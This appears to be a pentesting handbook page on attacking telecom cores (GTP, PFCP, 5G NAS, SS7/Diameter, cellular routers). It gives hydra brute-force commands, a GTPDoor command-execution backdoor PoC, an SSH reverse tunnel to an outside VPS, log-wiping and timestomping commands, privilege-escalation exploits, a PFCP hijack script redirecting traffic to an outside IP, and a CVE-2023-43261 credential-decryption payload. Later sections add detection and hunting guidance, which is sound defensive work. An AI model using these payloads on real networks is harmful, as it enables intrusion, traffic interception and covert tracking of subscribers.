Telecom Network Exploitation (GTP / SS7 / Diameter / Roaming Environments)

1. Recon & Initial Access

1.1 Default OSS / NE Accounts

A surprisingly large set of vendor network elements ship with hard-coded SSH/Telnet users such as root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, … A dedicated wordlist dramatically increases brute-force success:

hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt

If the device exposes only a management VRF, pivot through a jump host first (see section «SGSN Emu Tunnel» below).

1.2 Host Discovery inside GRX/IPX

Most GRX operators still allow ICMP echo across the backbone. Combine masscan with the built-in gtpv1 UDP probes to quickly map GTP-C listeners:

masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55

2. Enumerating Subscribers – cordscan

The following Go tool crafts GTP-C Create PDP Context Request packets and logs the responses. Each reply reveals the current SGSN / MME serving the queried IMSI and, sometimes, the subscriber’s visited PLMN.

# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap

Important constants inside the binary can be patched to widen scans:

pingtimeout       = 3   // seconds before giving up
pco               = 0x218080
common_tcp_ports  = "22,23,80,443,8080"

3. Code Execution over GTP – GTPDoor

GTPDoor is a tiny ELF service that binds UDP 2123 and parses every incoming GTP-C packet. When the payload starts with a pre-shared tag, the remainder is decrypted (AES-128-CBC) and executed via /bin/sh -c. The stdout/stderr are exfiltrated inside Echo Response messages so that no outward session is ever created.

Minimal PoC packet (Python):

import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))

Detection: * any host sending unbalanced Echo Requests to SGSN IPs * GTP version flag set to 1 while message type = 1 (Echo) – deviation from spec

4. Pivoting Through the Core

4.1 sgsnemu + SOCKS5

OsmoGGSN ships an SGSN emulator able to establish a PDP context towards a real GGSN/PGW. Once negotiated, Linux receives a new tun0 interface reachable from the roaming peer.

sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
       -APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 &   # internal SOCKS proxy

With proper firewall hair-pinning, this tunnel bypasses signalling-only VLANs and lands you directly in the data plane.

4.2 SSH Reverse Tunnel over Port 53

DNS is almost always open in roaming infrastructures. Expose an internal SSH service to your VPS listening on :53 and return later from home:

ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com

5. Covert Channels

All implants implement watchdogs that timestomp their binaries and re-spawn if crashed.

6. Defense Evasion Cheatsheet

# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null

# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup   # hide from top/htop
printf '\0' > /proc/$$/comm    # appears as [kworker/1]

touch -r /usr/bin/time /usr/bin/chargen   # timestomp
setenforce 0                              # disable SELinux

7. Privilege Escalation on Legacy NE

# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd

# PwnKit – CVE-2021-4034
python3 PwnKit.py

# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py

Clean-up tip:

userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c

8. Tool Box

• cordscan, GTPDoor, EchoBackdoor, NoDepDNS – custom tooling described in previous sections.
• FScan : intranet TCP sweeps (fscan -p 22,80,443 10.0.0.0/24)
• Responder : LLMNR/NBT-NS rogue WPAD
• Microsocks + ProxyChains : lightweight SOCKS5 pivoting
• FRP (≥0.37) : NAT traversal / asset bridging

9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay

The 5G registration procedure runs over NAS (Non-Access Stratum) on top of NGAP. Until NAS security is activated by Security Mode Command/Complete, initial messages are unauthenticated and unencrypted. This pre-security window enables multiple attack paths when you can observe or tamper with N2 traffic (e.g., on-path inside the core, rogue gNB, or testbed).

Registration flow (simplified): - Registration Request: UE sends SUCI (encrypted SUPI) and capabilities. - Authentication: AMF/AUSF send RAND/AUTN; UE returns RES*. - Security Mode Command/Complete: NAS integrity and ciphering are negotiated and activated. - PDU Session Establishment: IP/QoS setup.

Lab setup tips (non-RF): - Core: Open5GS default deployment is sufficient to reproduce flows. - UE: simulator or test UE; decode using Wireshark. - Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB). - Useful display filters in Wireshark: - ngap.procedure_code == 15 (InitialUEMessage) - nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)

9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI

Expected: UE/USIM must transmit SUCI (SUPI encrypted with the home-network public key). Finding a plaintext SUPI/IMSI in the Registration Request indicates a privacy defect enabling persistent subscriber tracking.

How to test: - Capture the first NAS message in InitialUEMessage and inspect the Mobile Identity IE. - Wireshark quick checks: - It should decode as SUCI, not IMSI. - Filter examples: nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci should exist; absence plus presence of imsi indicates leakage.

What to collect: - MCC/MNC/MSIN if exposed; log per-UE and track across time/locations.

Mitigation: - Enforce SUCI-only UEs/USIMs; alert on any IMSI/SUPI in initial NAS.

9.2 Capability bidding-down to null algorithms (EEA0/EIA0)

Background: - UE advertises supported EEA (encryption) and EIA (integrity) in the UE Security Capability IE of the Registration Request. - Common mappings: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 are null algorithms.

Issue: - Because the Registration Request is not integrity protected, an on-path attacker can clear capability bits to coerce selection of EEA0/EIA0 later during Security Mode Command. Some stacks wrongly allow null algorithms outside emergency services.

Offensive steps: - Intercept InitialUEMessage and modify the NAS UE Security Capability to advertise only EEA0/EIA0. - With Sni5Gect, hook the NAS message and patch the capability bits before forwarding. - Observe whether AMF accepts null ciphers/integrity and completes Security Mode with EEA0/EIA0.

Verification/visibility: - In Wireshark, confirm selected algorithms after Security Mode Command/Complete. - Example passive sniffer output:

Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001

Mitigations (must): - Configure AMF/policy to reject EEA0/EIA0 except where strictly mandated (e.g., emergency calls). - Prefer enforcing EEA2/EIA2 at minimum; log and alarm on any NAS security context that negotiates null algorithms.

9.3 Replay of initial Registration Request (pre-security NAS)

Because initial NAS lacks integrity and freshness, captured InitialUEMessage+Registration Request can be replayed to AMF.

PoC rule for 5GReplay to forward matching replays:

<beginning>
  <property value="THEN" 
            property_id="101" 
            type_property="FORWARD" 
            description="Forward InitialUEMessage with Registration Request">

    <!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
    <event value="COMPUTE" 
           event_id="1" 
           description="Trigger: InitialUEMessage" 
           boolean_expression="ngap.procedure_code == 15"/>

    <!-- Context match on NAS Registration Request (message_type == 65) -->
    <event value="COMPUTE" 
           event_id="2" 
           description="Context: Registration Request" 
           boolean_expression="nas_5g.message_type == 65"/>

  </property>
</beginning>

What to observe: - Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure.

Mitigations: - Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE.

9.4 Tooling pointers (reproducible)

• Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS.
• Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration.
• 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
• Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences.

9.5 Defensive checklist

• Continuously inspect Registration Request for plaintext SUPI/IMSI; block offending devices/USIMs.
• Reject EEA0/EIA0 except for narrowly defined emergency procedures; require at least EEA2/EIA2.
• Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers.
• Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage.

10. Industrial Cellular Routers – Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)

Abusing exposed web APIs of industrial cellular routers enables stealthy, carrier-origin smishing at scale. Milesight UR-series routers expose a JSON-RPC–style endpoint at /cgi. When misconfigured, the API can be queried without authentication to list SMS inbox/outbox and, in some deployments, to send SMS.

Typical unauthenticated requests (same structure for inbox/outbox):

POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json

{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }

{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }

Responses include fields such as timestamp, content, phone_number (E.164), and status (success or failed). Repeated failed sends to the same number are often attacker “capability checks” to validate that a router/SIM can deliver before blasting.

Example curl to exfiltrate SMS metadata:

curl -sk -X POST http://<router>/cgi \
  -H 'Content-Type: application/json' \
  -d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'

Notes on auth artifacts: - Some traffic may include an auth cookie, but a large fraction of exposed devices respond without any authentication to query_inbox/query_outbox when the management interface is Internet-facing. - In environments requiring auth, previously-leaked credentials (see below) restore access.

Credential recovery path – CVE-2023-43261: - Affected families: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7). - Issue: web-served logs (e.g., httpd.log) are reachable unauthenticated under /lang/log/ and contain admin login events with the password encrypted using a hardcoded AES key/IV present in client-side JavaScript. - Practical access and decrypt:

curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}

Minimal Python to decrypt leaked passwords (AES-128-CBC, hardcoded key/IV):

import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...'  # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())

Hunting and detection ideas (network): - Alert on unauthenticated POST /cgi whose JSON body contains base/function set to query_inbox or query_outbox. - Track repeated POST /cgi bursts followed by status":"failed" entries across many unique numbers from the same source IP (capability testing). - Inventory Internet-exposed Milesight routers; restrict management to VPN; disable SMS features unless required; upgrade to ≥ v35.3.0.7; rotate credentials and review SMS logs for unknown sends.

Shodan/OSINT pivots (examples seen in the wild): - http.html:"rt_title" matches Milesight router panels. - Google dorking for exposed logs: "/lang/log/system" ext:log.

Operational impact: using legitimate carrier SIMs inside routers gives very high SMS deliverability/credibility for phishing, while inbox/outbox exposure leaks sensitive metadata at scale.

11. PFCP Session Hijack & GTP-U TEID Abuse

11.1 PFCP Session Modification to steal flows

If you can speak PFCP on N4 (e.g., from a mis-filtered GRX/IPX segment), craft a Session Modification Request that inserts a duplicate PDR ID but with a smaller Precedence and a FAR pointing to your host. Some UPFs (e.g., OAI-cn5g) apply the first matching PDR and never check for uniqueness, so the malicious PDR hijacks all subsequent packets of that PDU session to your sink.

Minimal Scapy PoC (assumes PFCP contrib is available and you know SEID/PDR IDs):

from scapy.all import *
from scapy.contrib.pfcp import *

n4 = "10.10.20.5"   # UPF N4
seid = 0x123456789abc
pdr_id = 7           # existing PDR ID in session
far_id = 77          # new malicious FAR

pkt = IP(dst=n4)/UDP(sport=8805,dport=8805)/PFCP(
    S=1, seid=seid, msg_type=MODIFICATION_REQUEST)/PFCPSessionModificationRequest(
    IE_list=[PDR(id=pdr_id, precedence=1, outer_header_removal=0,
                 far_id=fid_identifier(far_id)),
             FAR(id=far_id, apply_action=0b10,  # FORWARD
                 forwarding_parameters=ForwardingParameters(
                     outer_header_creation=OuterHeaderCreation(
                         desc=0x0002, ipv4_address="203.0.113.55", teid=0xdeadbeef)))] )
send(pkt, verbose=False)

11.2 Injecting user traffic by spoofing TEIDs

If uplink GTP-U from the backbone isn’t ACL’d, you can replay/guess TEIDs seen in GTP-U headers and encapsulate arbitrary IP/TCP toward the UE’s peer or the Internet. Example craft:

send(IP(dst="10.10.20.8")/UDP(dport=2152,sport=2152)/
     GTP_U_Header(teid=0x7ffed00)/
     IP(src="10.0.0.10",dst="1.1.1.1")/TCP(dport=443,flags="S"))

12. SBA/SBI Fuzzing & Cross-Service Token Attack (free5GC R17)

FivGeeFuzz (academic 2025) auto-derives grammars from 3GPP OpenAPI specs to fuzz HTTP-based SBIs. Against free5GC it uncovered eight bugs including the Cross-Service Token abuse: a compromised NF obtains an access token for Service A and reuses it against Service B because audience/issuer checks were missing in the target NF.

Quick replay idea (assuming you stole an NRF-issued token from any NF):

# Swap :authority to the victim NF and reuse the bearer token
curl -sk -H "Authorization: Bearer $TOKEN" \
     -H "Host: smf.internal" \
     https://smf.internal/nsmf-pdusession/v1/sm-contexts

python3 fivgeefuzz.py --nf nsmf-pdusession \
  --target https://smf.internal \
  --grammar grammars/nsmf-pdusession.json \
  --token "$TOKEN" --threads 8 --max-cases 500

13. Roaming Signalling Surveillance: SS7, Diameter, and SIM-triggered tracking

Modern roaming surveillance is usually not a single software bug. It is an abuse of the trust model that lets mobile operators, roaming hubs, SMS providers, MVNEs, and IPX/GRX carriers exchange traffic so that subscribers can travel and still receive service. Once an actor has access to that private signalling ecosystem, their requests may look like normal roaming traffic even when they are being sent for surveillance.

The important mental model is that the attacker is not necessarily "inside" the victim operator. They may be using a leased Global Title, a third-party messaging provider, a roaming partner, a compromised telecom node, or a commercial platform that already has signalling connectivity. From there, they try to make SS7 or Diameter messages appear to come from operators that the victim network is more likely to trust.

13.1 Combined-attach pivoting between SS7 and Diameter

Many operators still run 3G and 4G roaming at the same time. With combined attach, a subscriber can be registered in both worlds so that voice, SMS, data, and fallback services keep working. That operational convenience gives attackers more than one protocol path to test. If an SS7 firewall blocks a location query, the same actor may quickly switch to Diameter. If Diameter controls are stricter, they may fall back to SS7.

In the Citizen Lab case study, this looked like an attacker trying sendRoutingInfoForSM first to map a phone number (MSISDN) to a subscriber identity (IMSI), then sending provideSubscriberInfo to ask for subscriber state and approximate location, then moving to Diameter Insert-Subscriber-Data-Request messages with location-related attributes. After repeated failures, the actor returned to SS7 and escalated to anyTimeInterrogation, a more explicit location-tracking operation.

For defenders, the lesson is that SS7 and Diameter logs should not be reviewed as separate worlds. The suspicious pattern is the same target subscriber being touched through both protocols in a short period, especially when the apparent source operator changes several times. Source rotation is often a sign that the actor is searching for a trusted path through uneven firewall rules.

13.2 SS7 roaming abuse: GT spoofing, alternate entry paths, and OPC mismatch analysis

SS7 messages are routed with Global Titles (GTs). A GT is a signalling address for a network node; it is not the subscriber's phone number, even though it can look phone-number-like. Transit nodes called Signalling Transfer Points (STPs) move these messages across the international signalling backbone, and the Originating Point Code (OPC) identifies the point code of the node that handed the message to the next hop.

The weakness is that old SS7 routing was designed for a trusted operator community and does not strongly prove that the claimed source really sent the message. An attacker can therefore send location-related operations that appear to come from a legitimate operator GT. Commonly abused operations include sendRoutingInfoForSM for IMSI discovery, provideSubscriberInfo for subscriber state and location-related fields, and anyTimeInterrogation for more direct location tracking.

A practical way to explain the IR.21 check is: IR.21 says which interconnect providers an operator is expected to use, while OPC shows where a message actually entered or traversed the SS7 backbone. If a GT belonging to operator A repeatedly arrives through an OPC assigned to an unrelated provider, that mismatch may reveal a third-party injection path, leased GT usage, or a surveillance platform hiding behind another carrier relationship.

Useful hunting fields are the calling-party GT, called-party GT, OPC, DPC, MAP operation, target IMSI/MSISDN, and any returned location fields such as Cell ID, LAC, MCC, or MNC. Build an allowlist from expected IR.21 interconnects, enrich OPC values with ITU ISPC ownership, and alert when a claimed operator identity repeatedly enters through an unexpected first-hop provider.

13.3 Diameter header spoofing and route steering

Diameter, used heavily in 4G and many roaming environments, was designed with better security options than SS7, including TLS, IPsec, and peer authentication. The problem is deployment reality: many roaming networks still trust peer metadata and do not consistently verify that the hostname, realm, certificate, route, and roaming agreement all describe the same real operator relationship.

The key fields are Origin-Host, Origin-Realm, Destination-Realm, and Route-Record. Origin-Host identifies the node that claims to have originated the message. Origin-Realm identifies the claimed sender network and is used in routing decisions. Destination-Realm points to the target operator realm. Route-Record records relay nodes along the path so replies can follow the expected route back.

Abuse happens when those identifiers are made plausible but inconsistent. For example, a request may use an Origin-Host that looks like one operator while the Origin-Realm belongs to another, or a Route-Record may force the answer path through infrastructure useful to the attacker. In Citizen Lab's reporting, this kind of manipulation was used to steer surveillance messages through selected interconnect providers and to make traffic appear more trustworthy to the receiving network.

When hunting, treat mismatched Origin-Host and Origin-Realm as the Diameter equivalent of source spoofing. Also compare Route-Record values with known IPX providers from IR.21, DNS, and BGP data. A single odd message may be a routing mistake, but repeated mismatches targeting the same IMSI or reusing the same command template across many operator identities should be investigated as coordinated signalling abuse.

13.4 Fingerprinting centralized surveillance tooling from signalling artefacts

Cross-network campaigns often look noisy because the apparent source operator changes. The trick is to cluster the parts of the traffic that are generated by the attacker platform itself. If many unrelated operator identities produce near-sequential SS7 transaction identifiers (TIDs), that suggests one backend is generating requests and merely swapping the outer identity.

Diameter gives similar fingerprints. Non-standard Session-Id formats, especially repeated patterns like origin-host;timestamp;local-id, can reveal a custom implementation. Citizen Lab observed actors using unusual Session-Id patterns, including one case where the target IMSI was embedded directly in the value so the platform could correlate replies for a specific device.

Template reuse is also important. If the same AVPs, flags, location options, malformed values, and timing patterns appear across many claimed operators, the operator identities may be costumes while the generation logic stays stable. These artefacts are useful because attackers can rotate GTs, hostnames, and transit providers more easily than they can rebuild the surveillance platform that creates the messages.

13.5 Hidden SMS to SIM/UICC as a covert tracking primitive

Tracking does not always require malware in Android or iOS. Some attacks target the SIM/UICC, which is a small smart card with its own applications and command processing. A specially formatted binary SMS can be addressed to the SIM rather than to the user's normal messaging app, so the phone may not display it, store it in the inbox, or make the user aware that anything arrived.

The most important public example is SIMjacker, which abuses the S@T Browser, a SIM Toolkit application present on some SIM cards. In the Citizen Lab STA2 case, a binary mt-ForwardSM message carried commands intended for the SIM. The decoded flow attempted to ask the phone for local network information, such as cell and location-area data, and then send the result back by SMS to attacker-controlled infrastructure.

At a beginner-friendly level, think of this as moving the attack surface below the phone operating system. The app layer may be clean, and there may be no spyware process to find, because the instruction was processed by the SIM toolkit environment. That is why network-side evidence matters so much: SMS firewall logs, SS7 traces, and Diameter traces may be the only durable artefacts.

For pentesting and detection, inspect for binary or non-user-displayable SMS sent with SIM/OTA-style headers, especially TP-PID = 127 and binary TP-DCS values such as 0x16 where visible in telemetry. Correlate those deliveries with later SS7 PSI/ATI or Diameter AIR/IDR activity against the same IMSI. A suspicious SMS followed by signalling location queries is a stronger signal than either event on its own.

13.6 Hunt checklist

Start from the target identifier, not only from the source network. Cluster SRISM, PSI, ATI, Diameter AIR, and Diameter IDR events that touch the same IMSI or MSISDN inside a narrow time window. Then look outward for source rotation, protocol switching, and repeated parameters.

Compare SS7 OPC and Diameter Route-Record paths with the operator's declared IR.21 interconnects. Alert when a claimed operator identity enters through an unexpected provider, when Origin-Host and Origin-Realm belong to different operator identities, or when one backend appears to reuse the same Session-Id style and AVP template across many networks.

Finally, correlate SMS and signalling logs. A hidden or binary SMS that immediately precedes location-query bursts against the same subscriber should be investigated as possible SIM-triggered tracking, even when there is no handset malware indicator.

Detection Ideas

1. Any device other than an SGSN/GGSN establishing Create PDP Context Requests.
2. Non-standard ports (53, 80, 443) receiving SSH handshakes from internal IPs.
3. Frequent Echo Requests without corresponding Echo Responses – might indicate GTPDoor beacons.
4. High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields.
5. 5G: InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints (replay signal).
6. 5G: NAS Security Mode negotiating EEA0/EIA0 outside emergency contexts.
7. PFCP: Session Modification carrying duplicate PDR IDs or sudden FAR redirection to off-net IPs.
8. SBA: NRF issues tokens whose aud does not match the called NF – indicative of Cross-Service Token replay.
9. SS7/Diameter: the same subscriber queried via SRISM / PSI / ATI and Diameter IDR across short time windows.
10. SS7: GTs entering through first-hop OPCs that do not match the operator's IR.21 providers.
11. Diameter: mismatched Origin-Host / Origin-Realm or suspicious Route-Record paths.
12. SIM tracking: binary/hidden SMS immediately preceding location-query bursts against the same IMSI/MSISDN.

References

• Palo Alto Unit42 – Infiltration of Global Telecom Networks
• 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
• 3GPP TS 29.281 – GTPv2-C (v17.6.0)
• Demystifying 5G Security: Understanding the Registration Protocol
• 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS
• 3GPP TS 33.501 – Security architecture and procedures for 5G System
• Silent Smishing: The Hidden Abuse of Cellular Router APIs (Sekoia.io)
• CVE-2023-43261 – NVD
• CVE-2023-43261 PoC (win3zz)
• Cross-Service Token in 5G Core (API Security Blog)
• PFCP Session Modification Hijack in OAI UPF
• Citizen Lab - Bad Connection: Uncovering Global Telecom Exploitation by Covert Surveillance Actors
• RFC 6733 - Diameter Base Protocol
• Enea - Simjacker: Next Generation Spying via SIM Card Vulnerability